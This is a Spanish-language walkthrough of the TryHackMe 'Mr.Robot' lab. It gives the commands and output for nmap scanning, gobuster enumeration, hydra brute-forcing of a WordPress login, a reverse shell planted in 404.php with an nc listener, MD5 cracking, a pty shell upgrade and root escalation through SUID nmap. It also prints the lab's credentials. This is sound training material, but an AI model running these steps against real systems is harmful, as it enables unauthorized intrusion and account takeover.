Mr.Robot
December 20, 20226 minutes
https://tryhackme.com/room/mrrobot
IP Atacante = 10.10.10.10
IP víctima = 10.10.193.138
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.193.138
PING 10.10.193.138 (10.10.193.138) 56(84) bytes of data.
64 bytes from 10.10.193.138: icmp_seq=1 ttl=63 time=56.6 ms
--- 10.10.193.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 56.631/56.631/56.631/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.193.138 -oG allPort
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.46.125
5 │ [*] Open ports: 80,443
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p80,443 -sV -sC 10.10.193.138 -oN target
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Web
Con el whatweb podemos ver mas información sobre la web
❯ whatweb 10.10.193.138
http://10.10.193.138 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.193.138], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]
Al entrar a la web vemos una animación que simula el arranque de un Linux, quando termina muestra el siguiente mensaje
Mas abajo vemos una “terminal” en la cual solo se pueden usar los comandos que salen arriba
Todos los comandos muestran videos, fotos y mensajes relacionados con la serie…
Buscando subdirectorios
Para ver si hay subdirectorios vamos a usar la herramienta gpbuster para fusear mediante un diccionario que está en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
con el siguiente comando:
❯ gobuster dir -u http://10.10.46.125 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
2022/12/19 21:57:53 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 236] [--> http://10.10.193.138/images/]
/blog (Status: 301) [Size: 234] [--> http://10.10.193.138/blog/]
/rss (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://10.10.193.138/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.10.193.138/0/]
/feed (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/video (Status: 301) [Size: 235] [--> http://10.10.193.138/video/]
/image (Status: 301) [Size: 0] [--> http://10.10.193.138/image/]
/atom (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/atom/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.193.138/wp-content/]
/admin (Status: 301) [Size: 235] [--> http://10.10.193.138/admin/]
/audio (Status: 301) [Size: 235] [--> http://10.10.193.138/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2613]
/css (Status: 301) [Size: 233] [--> http://10.10.193.138/css/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/license (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.193.138/wp-includes/]
/js (Status: 301) [Size: 232] [--> http://10.10.193.138/js/]
/Image (Status: 301) [Size: 0] [--> http://10.10.193.138/Image/]
/rdf (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.10.193.138/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.193.138/wp-admin/]
Nos reporta muchos subdirectorios, despues de ir probando uno por uno, e visto 2 que son importantes
/robots/
Contenido del /robots/
User-agent: *
fsocity.dic
key-1-of-3.txt
Ya tenemos la primera key
❯ curl http://10.10.193.138/key-1-of-3.txt
---------- key 1 ----------
En el robots también indica otro archivo fsocity.dic
, con wget nos lo podemos passar a nuestra máquina
❯ wget http://10.10.193.138/fsocity.dic
Es un dicionario con 858160 palabras
/wp-admin/
En wp-admin
hay un panel de login de WordPress, probamos con las típicas credenciales admin:admin, no funcionan pero hay un pequeño detalle importante
En vez de decir que las credenciales són incorrectas, especifica que es lo que esta mal, aprovechando esto podemos usar un diccionario de usuarios hasta que no de ese error y despues con las contraseñas
Intrusion
Con hydra vamos a probar con los usuarios de el dicionario que nos descargamos de /fsocity.dic/
con la contraseña test
❯ hydra -L fsocity.dic -p test 10.10.193.138 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 30
[80][http-post-form] host: 10.10.193.138 login: Elliot password: test
Ya tenemos un usuario (Elliot
), ahora con hydra también vamos a probar contraseñas con el dicionario rockyou.txt
❯ hydra -l Elliot -P fsocity.dic 10.10.33.39 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered for the username Elliot is incorrect" -t 30
[80][http-post-form] host: 10.10.193.138 login: Elliot password: ER28-0652
Con estas credenciales ya podemos iniciar session en la web, eso nos lleva al panel de administración de la web
Ahora el objetivo seria encontrar algún sitio en el que poder subir archivos, para mandar un php malicioso que nos envié una reverse shell
En el apartado de posts podemos subir o escribir archivos pero se quedan en texto plano
En el media podemos subir archivos.
Pero después de comprobarlo con el burpsuite como en la maquina Vulnversity solo acepta archivos con extensiones de fotos.
Dentro del apartado de apariencia, en el editor podemos ver que salen los archivos php de la web, los cuales podemos editar.
Por ejemplo vamos a abrir el 404.php y vamos a sustituir lo que había por el código de la reverse shell, es importante cambiar el puerto por el que nos ponemos en escucha y la ip de nuestra maquina
Ahora nos ponemos en escucha por el puerto 443
nc -nlvp 443
Ahora al poner un subdirectorio random http://10.10.193.138/okjihogyklasd
ejecuta el 404.php y recibimos la conexión.
Escalada de privilegios
En el directorio /home/robot
esta la segunda flag, también hay un archivo con un hash raw-md5
❯ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
censored password (?)
Ahora al intentar convertirnos en robot sale este error
$ su robot
su: must be run from a terminal
Con python -c 'import pty; pty.spawn("/bin/bash")'
se soluciona el problema
daemon@linux:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:/$
Ahora con find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
, ay un que no deveria de estar ahi, nmap
nmap --interactive
Eso abre el nmap en modo interactive, como se esta ejecutando como root, si hacemos !sh para spawnear una sh, ya somos root, podemos ver la ultima flag en /root